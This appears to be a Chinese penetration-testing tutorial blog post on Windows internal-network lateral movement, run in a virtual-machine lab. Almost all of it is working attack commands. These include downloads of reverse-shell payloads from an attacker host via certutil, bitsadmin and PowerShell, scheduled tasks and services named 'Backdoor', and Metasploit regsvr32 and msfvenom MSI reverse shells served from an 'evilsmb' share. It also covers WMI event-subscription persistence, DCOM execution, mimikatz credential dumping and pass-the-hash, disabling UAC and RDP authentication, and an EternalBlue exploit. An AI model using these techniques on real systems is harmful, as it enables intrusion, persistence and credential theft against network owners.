第五部分-Windows内网横向移动

前言

  • 参考自Nu1L的《内网渗透体系建设》
  • 以下内容仅用于合法学习,不得用于非法行为,后果自负
  • 本人目前已不用下面涉及到的IP网段和IP。
  • 以下操作大多是在虚拟机中进行的

主要涉及到的IP与主机:

IP 主机
192.168.40.10 win2012(靶机)
192.168.40.146 kali(攻击机)

横向移动(Laternal Movement)是从一个受感染主机迁移到另一个受感染主机的过程。

通常,测试人员需要借助内网代理来探测内网中存活的资产,并确定最终的攻击目标,然后通过收集到的用户凭据,利用各种远程控制技术对目标发起攻击。

5.1横向移动中的文件传输

5.1.1 通过网络共享

Windows系统中的网络共享功能可以实现局域网之间的文件共享。

​ 执行“net share”,获得Windows系统默认开启的网络共享,如图(win7):

image-20231017133505438

其中C$为C盘共享,ADMIN$为系统目录共享,还有一个是IPC$共享.IPC(Internet Process)是共享"命名管道"的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通信进行加密数据的交换,从而实现对远程计算机的访问.

通过建立IPC$连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或系统服务等。

​ 建立IPC$需要具备以下两个条件: ①远程主机开启了IPC连接②远程主机的139和445端口开放。

与远程主机建立IPC连接的命令:

net use \\10.10.10.19\IPC$ "Admin@123" /user:"Administrator"
//net use \\<IP/Hostname>\IPC$ <password> /user:<username>

这里在win10上执行,靶机为win2012:

image-20231017141754238

image-20231017141937504

列出远程主机的C盘共享目录:

dir \\192.168.40.10\C$

image-20231017142104045

使用copy命令,可以通过共享连接向远程主机上复制文件,也可以将远程主机上的文件复制到本地。

copy .\msf-star2.exe \\192.168.40.10\C$

image-20231017142805269

建立其他共享连接的命令与IPC$连接的命令相同。比如连接远程主机的C$共享:

net use \\192.168.40.10\C$ "password" /user:"Administrator"

5.1.2 搭建SMB服务器

​ SMB(Server Message Block,服务器消息块),又称CIFS(Common Internet File System,网络文件共享系统),基于应用层网络传输协议,主要功能是使网络上的计算机能够共享计算机文件、打印机、串行端口等资源。SMB消息一般使用NetBIOS协议或TCP发送,分别使用端口139或445,目前倾向于写445

在linux系统上,可以通过Impacket项目提供的smbserver.py来搭建SMB服务器

impacket/examples/smbserver.py at master · fortra/impacket (github.com)

执行以下命令,即可搭建一个名为evilsmb,共享目录指向/root/share的SMB匿名分享

# 在kali上执行
mkdir /root/share
python smbserver.py evilsmb /root/share -smb2support

image-20231017144620164

对于Windows系统,如果已经获取管理员权限,可以手动配置SMB匿名分享,也可以通过Invoke-BuildAnonymousSMBServer在本地快速启动一个匿名分享

3gstudent/Invoke-BuildAnonymousSMBServer: Use to build an anonymous SMB file server. (github.com)

5.1.3 通过Windows自带工具

1. Certutil

Certutil是Windows自带的命令行工具,用于管理Windows证书并作为证书服务的一部分安装,测试人员可在远程主机上执行Certutil命令,控制其下载预先部署在可控服务器上的恶意文件:

certutil -urlcache -split -f http://ip:port/shell.exe C:\reverse.exe

通过Certutil下载shell.exe,并将其保存到C:\reverse.exe

image-20231017151101384

2. BITSAdmin

Bitsadmin是一个Windows命令行工具,可以用于创建、下载或上传作业,监视其进度。win7及以后版本自带Bitsadmin工具

bitsadmin /transfer test http://IP:Port/shell.exe C:\reverse.exe
bitsadmin /transfer test http://192.168.40.146:8080/star2.exe C:\reverse.exe

创建一个名为test的Bitsadmin任务,下载shell.exe到本地,并将其保存到C:\reverse.exe

3. powershell

可以通过创建WebClient对象来实现文件下载:

(New-Object Net.WebClient).DownloadFile('http://IP:Port/shell.exe',"C:\reverse.exe")
(New-Object Net.WebClient).DownloadFile('http://192.168.40.146:8080/star2.exe',"C:\reverse.exe")

image-20231017160648706

5.2 创建计划任务

5.2.1 常规利用流程

可以通过已有的IPC连接,在远程主机上创建计划任务,让目标主机在规定的时间点或周期内执行特定的操作。在拥有对方管理员凭据的条件下,可以通过计划任务实现横向移动

  1. 利用已建立的共享连接向远程主机上传攻击载荷
  2. 利用已建立的IPC连接或指定用户凭据的方式在远程主机上创建计划任务
# 在主机上创建一个计划任务,每分钟执行一次上传的攻击载荷
schtasks /Create /S 192.168.40.10 /TN Backdoor /SC minute /MO 1 /TR C:\reverse.exe /RU System /F
/*
/S: 指定要连接的系统;、/TN:指定要创建的计划任务的名称 、/SC:指定计划任务执行频率
/MO: 制定计划任务执行周期 、/TR:制定计划任务的程序路径 /RU:制定计划任务的用户权限
/F:如果指定的任务已经存在,则强制创建
*/

如果没有建立IPC连接,则需要手动指定远程主机的用户凭据:

schtasks /Create /S 192.168.40.10 /TN Backdoor /SC minute /MO 1 /TR C:\reverse.exe /RU System /F /U Administrator /P Admin@123
schtasks /Create /S 192.168.40.10 /TN Backdoor /SC minute /MO 1 /TR C:\reverse.exe /RU System /F /U Administrator /P Abcabc123
schtasks /Create # 表示要创建新的计划任务
/S 192.168.40.10 # 目标主机的ip
/TN Backdoor # 将该计划任务命名为Backdoor
/SC minute # 触发间隔为每分钟
/MO 1 # 每隔1分钟
/TR C:\reverse2.exe # 指定要运行的任务或程序的路径,这个在本机(跳板机),而非目标主机上
/RU System # 指定运行时使用的用户账户为System
/F /U Administrator /P Abcabc123
  1. 执行:
schtasks /RUN /S 192.168.40.10 /I /TN Backdoor

立即启动该计划任务即可获取远程主机的权限

  1. 删除创建的计划任务:
schtasks /Delete /S 192.168.40.10 /TN Backdoor /F

也可以通过创建计划任务在远程主机上执行系统命令,并将结果写入文件,然后通过type命令进行远程读取:

schtasks /Create /S 192.168.40.10 /TN Backdoor /SC minute /MO 1 /TR "C:\Windows\System32\cmd.exe /c 'whoami > C:\result.txt'" /RU System /f type \\192.168.40.10\C$\result.txt

5.2.2 UNC路径加载运行

Windows中使用UNC路径来访问网络共享资源:

//格式如下
\\servername\sharename\directory\filename
/*
其中sharename为网络共享的名称
*/

在靶机上攻击载荷时,可以直接使用UNC路径代替常规的本地路径,让远程主机直接在测试人员搭建的SMB共享中加载攻击载荷并执行。

  1. 在服务器上搭建SMB匿名共享服务,并将生成的攻击载荷放入共享目录

  2. 在靶机上创建计划任务,并使用UNC路径加载位于服务器共享中的攻击载荷并执行:

schtasks /Create /S 192.168.40.10 /TN Backdoor /SC minute /MO 1 /TR \\192.168.40.146\evilsmb\reverse.exe /RU System /F /U Administrator /P Abcabc123

5.3 利用系统服务

5.3.1 创建远程服务

除了创建计划任务,测试人员还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或命令。该方式需要拥有两端主机的管理员权限和IPC$连接

  1. 利用已建立的共享连接向远程主机上传攻击载荷
  2. 利用已建立的IPC连接在远程主机上创建系统服务
sc \\192.168.40.10 create Backdoor binpath= "cmd.exe /k C:\reverse_tcp.exe"
sc create Backdoor binpath= "cmd.exe /k C:\users\liukaifeng01\desktop\msf_52_143_4445.exe"
# binpath:指定系统服务启动时运行的二进制文件,注意"="后需要有一个空格
  1. 执行:
sc \\192.168.40.10 qc Backdoor

立即启动该服务,此时虽然提示报错,但是已经成功获取了远程主机的权限

  1. 攻击成功后,将创建的服务删除:
sc \\192.168.40.10 delete Backdoor

5.3.2 SCShell

SCShell是一款利用系统服务的文件横向移动工具,SCShell利用提供的用户凭据,通过ChangeServiceConfigA API修改远程主机上的服务配置,将服务的二进制路径名修改为指定的程序或攻击载荷,然后重启服务,执行结束后,服务二进制路径恢复为原始路径

SCShell.exe 192.168.40.10 xblAuthManager "C:\Windows\System32\cmd.exe /c calc" hack-my.com Administrator Abcabc123
# SCShell.exe <Target> <service name> <payload> <Domain> <Username> <Password>

下面通过Regsvr32执行外部SCT文件的方式上线远程主机

​ ① 通过Metasploit启动一个Web Delivery,并生成用于Regsvr32执行的payload

use multi/script/web_delivery
show options

image-20231018190315042

set target Regsvr32
set lhost 192.168.40.146
set payload windows/x64/meterpreter/reverse_tcp
show options

image-20231018194106469

image-20231018194141539

②通过SCShell在远程主机上执行生成的payload:

SCShell.exe 192.168.40.10 XblAuthManager "C:\Windows\System32\cmd.exe /c C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.40.146:8080/Es5J8a.sct scrobj.dll" hack-my.com Administrator Abcabc123

与SCShell的利用思路相似的还有SharpNoPSExec,该工具将查询所有服务并随机选择一个启动类型为禁用或手动、当前状态为已停止并具有LocalSystem特权的服务,通过替换二进制路径的方法对服务进行重用。运行结束后,将恢复服务配置

5.3.3 UAC Remote Restrictions

UAC(用户账户控制)使计算机用户能够以非管理员身份执行日常用户。本地管理员组中任何非RID 500的其他管理员用户也将使用最小权限原则运行大多数应用程序。当执行需要管理员权限的任务时,Windows会自动提示用户予以批准。

Windows查询当前用户的SID:

Get-WmiObject win32_useraccount | Select name,sid

image-20231018212448903

由于存在UAC Remote Restrictions(远程限制),故如果测试人员使用计算机本地用户进行需要管理员权限的远程管理操作,无论是schtasks还是后面的PsExec、WMI、WinRM、哈希传递攻击,都只能使用RID 500的本地管理员用户,使用其他任何用户包括非RID500的本地管理员用户都会提示“拒绝访问”

​ UAC Remote Restrictions 只限制本地用户,域管理员不受限制,因此会限制工作组环境中的横向移动。

可通过以下命令重启来关闭UAC Remote Restrictions:

# 管理员权限
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

若要重新启用,则将1改为0即可

查看是否开启了UAC Remote Restrictions:

# 管理员权限
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy
# 如果返回结果中包含"0x1",则表示reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy

5.4 远程桌面利用

3389

远程桌面协议(RDP)从win2000开启,用户可以通过该功能登录并管理远程主机,默认监听TCP 3389端口

5.4.1 远程桌面的确定和开启

# 查看是否开启,为0x0即为RDP开启,为0x1为RDP关闭
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

image-20231018215853615

执行以下命令,开启远程桌面功能:

# 开启远程桌面连接功能
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 关闭 "仅允许运行使用网络级别身份验证的远程桌面的计算机连接" (鉴权)
# 将在Windows注册表中创建一个名为"UserAuthentication"的值,并将其设置为0。这将禁用NLA,允许使用非网络级别身份验证的远程桌面连接进入该计算机。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
# 设置防火墙策略放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in action=allow protocol=TCP localport=3389

对于远程主机,可以通过WMI来开启远程桌面功能:

wmic /Node:10.10.10.19 /User:Administrator /Password:Admin@123 RDTOGGLE WHERE ServerName='WIN2016-WEB3' call SetAllowTSConnections 1

5.4.2 RDP Hijacking

对于开启远程桌面的Windows, 当多个用户进行登录时,会产生多个会话.渗透测试人员可以通过已获取的SYSTEM权限劫持其他用户的RDP会话,并在未授权的情况下成功登如目标系统。

5.4.3 SharpRDP

SharpRDP是一款工具,可以通过远程远程桌面协议在远程主机上执行系统命令.需要主机开启远程桌面连接,并且防火墙放行3389端口.

如果想登录一台内网主机的远程桌面,需要先搭建内网代理,然后使用RDP客户端进行连接.但是,可以直接将SharpRDP上传到跳板机,然后获取道德用户凭据,对内网其它主机执行系统命令.这样就省去了内网代理.

0xthirteen/SharpRDP: Remote Desktop Protocol .NET Console Application for Authenticated Command Execution (github.com)

5.5 PsExec远程控制

PsExec是一款Windows远程控制工具,可以根据凭据在远程系统上执行管理操作,可以在远程系统中启动交互式命令提示窗口,以便实时显示有关远程系统的信息。

PsExec原理是通过SMB连接到服务端的Admin$共享,并释放名为“psexesvc.exe”的二进制文件,然后注册名为“PSEXESVC”服务。当客户端执行命令时,服务端通过PSEXESVC服务启动相应的程序执行命令并回显数据。运行结束后,PSEXESVC服务会被删除。

使用PsExec进行远程操作的条件:

①远程主机开启了Admin$共享

②远程主机未开启防火墙或开启445端口

PsExec.exe -accepteula \\192.168.40.10 -u HACK-MY\Administrator -p Abcabc123 -s cmd.exe
# -accepteula禁止弹出许可证对话框 -u,指定远程主机的用户名
# -s:以SYSTEM权限启动进程,如果未指定该参数,就将以管理员权限启动进程

PsExec - Sysinternals | Microsoft Learn

域管理员用户的凭据连接远程主机,并以SYSTEM权限启动一个

image-20231018225654869

image-20231018225707926

在内网渗透中,如果已有相应凭据,则可以直接使用PsExec连接远程主机:

PsExec.exe -accepteula \\192.168.40.10 cmd.exe # 有 IPC链接

Impacket和Metasploit都内置了基于PsExec执行远程命令的脚本或模块,如Impacket中的psexec.py脚本,msf中的exploit/windows/smb/psexec模块都可以完成相同的操作

5.6 WMI的利用

WMI(Windows Manage INstrumentation,Windows管理规范)是一项核心的Windows管理技术。用户可以通过WMI管理本地和远程计算机。Windows为传输WMI数据提供了两个可用的协议,即分布式组件对象模型(DCOM)和Windows远程管理(Window Remote Management,Win RM),使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等操作都可以远程执行。

​ 有两种常见的计算方法:①通过调用WMI的类方法进行远程执行,如Wiin32_Process类中的Create方法可以在远程主机上创建进程,Win32_Product类中的Install方法可以在远程主机上安装恶意的MSI;②远程部署WMI事件订阅,在特定的事件发生时触发攻击。

条件

  • 远程主机的WMI服务为开启状态(默认开启)

    判断是否开启WMI服务:

    # powershell
    Test-NetConnection -ComputerName 192.168.40.10 -Port 135
    

    image-20231019141716007

    # 开启WMI服务
    net start winmgmt
    # 设置WMI自动启动
    sc config winmgmt  start=auto
    
  • 远程主机防火墙放行135端口,即WMI管理的默认端口

    # 查看135端口是否开启
    netstat -ano|findstr "135"
    

    image-20231019142437620

  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       904
  TCP    [::]:135               [::]:0                 LISTENING       904
# 0.0.0.0:135表示IPV4下本地ip地址为0.0.0.0(即所有可用的网络接口)
# [::]:135表示IPV6下本地ip地址为::(即所有可用网络接口)

5.6.1 常规利用方法

在Windows上可以通过wmic.exe和powershell Cmdlet来使用WMI数据和执行WMI方法

1.执行远程查询

# 查看主机上的进程信息
wmic /node:192.168.40.10 /user:Administrator /password:Abcabc123 process list brief
# /node:指定远程主机的地址

image-20231019143222727

2.创建远程进程

wmic /node:192.168.40.10 /user:Administrator /password:Abcabc123 process call create "cmd.exe /c ipconfig > c:\result.txt"

​ 这里调用Win32_Process.Create方法在远程主机上创建进程,启动cmd来执行系统命令

​ 由于WMIC在执行命令时没有回显,一次可以将执行结果写入文件。然后通过建立共享连接等方式使用type命令远程读取

net use \\192.168.40.10\C$ "Abcabc123" /user:"HACK-MY\Administrator"
type \\192.168.40.10\C$\result.txt

image-20231019143927827

3.远程安装MSI文件

通过调用Win32_Product.Install方法,可以控制远程主机安装恶意MSI(Microsoft Installer)文件。

①使用msf生成一个恶意的MSI文件:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhsot=192.168.40.146 lport=1234 -f msi -o reverse_tcp.msi

image-20231019144528807

②在测试人员可控的服务器上搭建SMB服务器,并将生成的MSI放于共享目录

ls -al /root/share
python3 smbserver.py evilsmb /root/share -smb2support

image-20231019145003966

③开启监听

msf上:

 use exploit/multi/handler
 show options
 set lhost 192.168.40.146
 set lport 1234
 run

image-20231019150529963

④ 在跳板机上执行:

wmic /node:192.168.40.10 /user:Administrator /password:Abcabc123 product call install PackageLocation="\\192.168.40.146\evilsmb\reverse_tcp.msi"

其中的192.168.40.10为远程主机

跳板机为win10

这里控制远程主机,通过UNC路径进行远程加载测试人员服务器上的MSI文件并进行安装

image-20231019145423239

5.6.2 常见利用工具

1. Wmiexec

Impacket项目的wmiexec.py能够全交互或半交互的方式,通过WMI在远程主机上执行命令。

条件:开启135和445端口,其中445端口用于传输命令执行的回显

# kali执行:
python wmiexec.py HACK-MY/Administrator:Abcabc123@192.168.40.10
python wmiexec.py <Domain>/<Username>:<Password>@<IP>

如果是在Windows平台上使用,可以通过PyInstaller,将wmiexec.py打包成独立的EXE可执行文件:

pip3 install pyinstaller
# 打包
pyinstaller -F wmiexec.py # 生成wmiexec.exe

生成的wmiexec.exe可上传到Windows主机上运行:

wmiexec.exe HACK-MY/Administrator:Abcabc123@192.168.40.10

2.Invoke-WmiCommand

可以利用Invoke-WmiCommand.ps1,来调用WMI远程执行命令:

# 远程加载Invoke-WmiCommand.ps1
IEX(New-Object Net.Webclient).DownloadString('http://IP:Port/Invoke-WmiCommand.ps1')
# 指定远程系统用户名
$User = "HACK-MY\Administrator"
# 指定密码
$Password = ConvertTo-SecureString -String "Abcabc123" -AsPlainText -Force
# 将用户名和密码整合,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 指定远程主机的IP和要执行的命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName "192.168.40.10"
# 输出命令执行回显
$Remote.PayloadOutput

此外,Powershell内置的Invoke-WMIMethod也可以在远程系统中执行命令或程序,但是没有执行回显

5.6.3 WMI事件订阅的利用

WMI(Windows Management Instrumentation)事件订阅是一种机制,允许应用程序监控 Windows 系统中的特定事件或状态变化。通过 WMI,开发者可以创建订阅,以接收特定 WMI 类的事件通知,如系统性能、硬件更改或服务状态变化等。

1.手动利用

① 整合PSCredential,用于后续过程的认证

$Username = "HACK-MY\Administrator"
$Password = "Abcabc123"
$SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username $SecurePassword

② 设置攻击目标和其他参数

$GlobalArgs = @{};
$ComputerName = "192.168.40.10"
$GlobalArgs['Credential'] = $Credential
$GlobalArgs['ComputerName'] = $ComputerName

③ 在远程主机上部署“TestFilter”事件过滤器,用于查询scchost.exe进程的产生。

$EventFilterArgs = @{
  EventNamespace = "root/cimv2"
  Name = "TestFilter"
  Query = "SELECT * FROM Win32_ProcessStartTrace where processname='svchost.exe'"
	QueryLanguage = 'WQL'
  
}
$EventFfilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs @GlobalArgs

④ 在远程主机上部署一个名为"TestComsumer"的事件消费者,创建事件消费类CommandLineEventConsumer的实例,在指定事件发生时执行系统命令

$CommandLineEventConsumerArgs = @{
  Name = "TestConsumer"
  CommandLineTemplate ="C:\Windows\System32\cmd.exe /c calc.exe"
  
} 
$EventConsumer = Set-WmiInstance -Namespace root\subscription -Class
	CommandLineEventConsumer -Arguments $FilterConsumerBindingArgs @GlobalArgs

2.Sharp-WMIEvent

完整的利用过程可以整合为powershell脚本

① 在测试人员的服务器上搭建SMB共享服务器,并将生成的攻击载荷放入共享目录

② 在跳板机上执行:

Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.40.10 -Domain hack-my.com -Username Administrator -Password Abcabc123 -Command "cmd.exe /c \\192.168.40.146\evilsmb\reverse_tcp.exe"

这将在远程主机上部署一个随机命名的永久事件订阅,并每隔60秒执行一次SMB共享中的攻击载荷,使远程主机上线

# kali
python3 smbserver.py evilsmb /root/share -smb2support

5.7 DCOM的利用

5.7.1 COM和DCOM

1.COM

COM(组件对象模型)是一套二进制接口,使得跨编程语言的进程间通信、动态对象创建成为可能。

​ 在Windows中,每个COM对象都由唯一的128位的二进制标识符标识,即GUID。当GUID用于标识COM对象时,被称为CLSID(类标识符)。当它用于标识接口时,被称为IID(接口标识符)。

2.DCOM

DCOM(分布式组件对象模型),是微软基于COM的一系列概念和程序接口,支持不同机器上的组件间的通信。利用DCOM,客户端程序对象能够请求来自网络中另一台计算机上的服务器程序对象。

5.7.2 通过DCOM横向移动

基础介绍

部分DCOM组件公开的接口中可能包含不安全的方法,例如,MMC20.Application提供的ExecuteShellCommand方法可以在单独的进程中运行指定的程序或命令。

Get-CimInstance Win32_DCOMApplication

可以枚举包含不安全方法的其他DCOM对象,并与远程计算机的DCOM进行交互,从而实现远程执行。

image-20231019200328131

条件

  • 拥有管理员权限的powershell
  • 远程主机未开启防火墙

目前经常利用的DCOM组件有MMC20.Application、ShellWindows、Excel.Application、ShellBrowserWindow等

1.MMC20.Application

  • 适用于win7及以上版本

MMC20.Application对象的Document.ActiveView下存在一个ExecuteShellCommand方法,可以用来启动子进程或系统命令

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView | Get-Member

image-20231019200845169

下面以MMC20.Application组件为例,在远程主机上执行攻击载荷,并上线msf

① 在可控服务器上搭建SMB匿名共享服务,并将生成的攻击载荷放入共享目录

② 在管理员权限的Powershell中执行:

# 通过ProgID与DCOM进行远程交互,并创建MMC20.Application对象的实例
$com[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
# 调用ExecuteShellCommand方法启动进程,以运行攻击载荷
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c\\192.168.40.146\evilsmb\reverse_tcp.exe","Minimized")

通过MMC20.Application在远程主机上启动进程,加载SMB共享服务中的攻击载荷并执行

​ 在调用过程中,MMC20.Application会启动mmc.exe进程,通过ExecuteShellCommand方法在mmc.exe中创建子进程,适用于win7及以上版本

2.ShellWindows

ShellWindows组件提供了Document.Application.ShellExecute方法

$com = [Activator]::CreateInstance([type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.40.10"))
$com.item().Document.Application | Get-Member

由于ShellWindows对象没有ProgID,因此需要使用其CLSID来创建实例。通过OleViewDotNet,可以找到ShellWindows对象的CLSID为9BA05972-F6A8-11CF-A442-00A0C90A8F39

在管理员权限的powershell下:

# 通过CLSID与DCOM进行远程交互,并创建ShellWindows对象的实例
$com = [Activator]::CreateInstance([type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.40.10"))
# 调用ShellExecute方法启动子进程
$com.Document.Application.ShellExecute('cmd.exe',calc.exe,"C:\Windows\System32",$null,0)

即可通过ShellWindows在远程主机上启动calc.exe。ShellWindows并不会创建新进程,会在exploerer.exe进程中创建并执行子进程

3.ShellBrowserWindow

ShellBrowserWindow中也存在一个Document.Application.ShellExecute方法,与ShellWindows一样,不会创建新进程,通过已有的explorer.exe来托管子进程。适用于win10、win2012等版本

# 通过CLSID与DCOM进程进程交互,并创建ShellBrowerWindow对象的实例
$com = [Activator]::CreateInstance([type]::GetTypeFromCLSID("...","192.168.40.10"))
  # 调用ShellExecute方法启动子进程
$com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)

5.8 WinRM的利用

5985

WinRM是通过执行WS-Management协议(用于远程软件和硬件管理的web服务协议)来实现远程管理的,允许处于一个共同网络内的Windows计算机彼此之间互相访问和交换信息,对应端口是5985.

​ 限制:win2008以上

5.8.1 通过WInRM执行远程命令

Windows远程管理提供了以下命令行工具:① Winrs,允许远程执行命令,利用WS-Management协议 ② Winrm(Winrm.cmd) ,内置系统管理命令行工具,允许管理员配置本机的WinRM服务。

在下列条件下,可以将默认身份证与IP地址结合使用:

① 传输为HTTPS或目标位于TrustHosts列表中,并提供了显示凭据

② 使用Winrm.cmd配置TrustedHosts

执行下列命令,手动将目标ip地址添加到客户端的信任列表中,也可以将TrustedHosts设置为“*”,从而信任所有主机

winrm set winrm/config/client @{TrustedHosts="192.168.40.10"}
Set-Item WSMan:localhost\client\trustedhosts -value * # 通过powershell

1.Winrs

Winrs是Windows远程管理提供的客户端程序,允许通过提供的用户凭据,在运行WinRM的服务器上执行系统命令。要求通信双方都安装WinRM服务

通过Winrs在远程主机上执行命令:

winrs -r:http://192.168.40.10:5985 -u:Administrator -p:Abcabc123 "whoami"

通过Winrs获取远程主机的交互式命令行:

winrs -r:http://192.168.40.10:5985 -u:Administrator -p:Abcabc123 "cmd"

2.Winrm.cmd

Winrm.cmd允许WMI对象通过WinRM传输进行远程交互,在本地或远程计算机上枚举WMI对象示例或调用WMI类方法。例如,可以通过调用Win32_Process类的Create方法来创建远程进程。

远程执行攻击载荷:

winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline="nodepad.exe"} -r:http://192.168.40.10:5985 -u:Administrator -p:Abcabc123
tasklist|findstr "notepad.exe"

5.8.2 通过WinRM获取交互式会话

1.powershell

​ powershell的远程传输协议基于WinRM规范,通过提供了远程管理功能。

​ Enter-PSSession的powershell cmdlet可以启动与远程主机的会话。

​ ① 在跳板机上:

# 指定远程系统用户名
$User = "HACK-MY\Administrator"
# 指定用户的密码
$Password = ConvertTo-SecureString -String "Abcabc123" -AsPlainText -Force
# 将用户名和密码整合,导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 根据凭据创建会话
New-PSSession -Name WinRM1 -ComputerName 192.168.40.10 -Credential $Cred -Port 5985
# -Name:指定会话名称,-Credential:指定用户凭据,-Port:指定WinRM的工作端口

​ ② 查看已创建的PSSession会话:

Get-PSSession

​ ③ 选中会话,进入会话交互模式:

Enter-PSSession -Name WinRM1

​ ④ 也可以通过Invoke-Command在指定的会话中执行;

# 指定远程系统用户名
$User = "HACK-MY\Administrator"
# 指定用户的密码
$Password = ConvertTo-SecureString -String "Abcabc123" -AsPlainText -Force
# 将用户名和密码整合,导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 根据凭据创建会话
$Sess = New-PSSession -Name WinRM1 -ComputerName 192.168.40.10 -Credential $Cred -Port 5985
# 在创建的会话中执行命令
Invoke-Command -Session $Sess -ScriptBlock{dir c:\}

2.Evil-Winrm

Evil-Winrm是基于WinRM Shell的渗透框架,可通过用户名密码或用户哈希值在启用了WinRM服务的目标主机上完成简单的攻击任务。

Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting (github.com)

5.9 哈希传递攻击

​ 哈希传递(PTH)是一种针对NTLN协议的攻击技术。在NTLM身份认证的第三步中生成Response时,客户端直接使用用户的HTLM哈希值进行计算。即当测试人员获取有效的用户名和密码哈希值后,就能使用该信息对远程主机进行身份验证,不需要暴力破解获取明文密码即可获取该主机权限。

tips:在域环境中,大多数计算机在安装时可能会使用相同的本地管理员账号和密码,所以在域环境中进行哈希传递可能批量获取主机权限。

5.9.1 哈希传递攻击的利用

​ 可利用工具:Mimikatz和Impacket项目、CrackMapExec、PowerShell、Evil-Winrm、msf

1.利用mimikatz进行PTH

mkmikatz内置PTH,但需要管理员权限:

​ ① 上传mimikatz,并执行:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

​ ② 利用抓取到的域管理员的NTLN 哈希进行哈希传递:在跳板机上:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:hack-my.com /ntlm:...." exit

在新的命令行中具有域管理员权限,可以访问CIFS服务

判断是否是域管理员的方式

2.利用Impacket进行PTH

Impacket项目中常用的脚本:psexec.py,smbexec.py,wmiexec.py,使用时可借助内网代理等技术对内网主机进行攻击

​ 以smbexec.py为例:

python smbexec.py -hashes :... hack-my.com/administrator@192.168.40.10
# -hashes,指定完成的哈希,如果LM Hash被废弃,则将其指定为空或0

5.9.2 利用哈希传递登录远程桌面

条件:

​ ① 远程主机开启了“受限管理员”模式

​ ② 用于登录远程桌面的用户位于远程主机的管理员组中

​ ③ 目标用户的哈希

win2012 R2及以上使用了新版的RDP,支持受限管理员模式,开启后可通过哈希传递直接登录远程桌面,在windows 8.1和win2012 R2上默认开启。

# 手动开启:
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
# 查看是否开启“受限管理员”模式:值为0,说明开启,值为1,说明未开启
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin 

开启后进行利用:

# mimikatz
privilege::debug
sekurlsa::pth /user:Administrator /doamin:hack-my.com /ntlm:... "/run:mstsc.exe /restrictedadmin"
# 即传递成功后执行"mstsc.exe /restrictedadmin"

5.10 EternalBlue

EternalBlue->永恒之蓝,下面通过msf攻击win2012

# 扫描是否存在
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.40.10
set threads 10
run

image-20231020155558705

​ ② 利用漏洞:

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.40.10
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.40.146
set lport 4444
run

image-20231020160142543

利用失败

查看win2012:

image-20231020160423894

尝试攻击win2008 R2:

image-20231020162449975

获得system权限:

image-20231020162506316

posted @ 2024-10-23 10:47  starme  阅读(32)  评论(0编辑  收藏  举报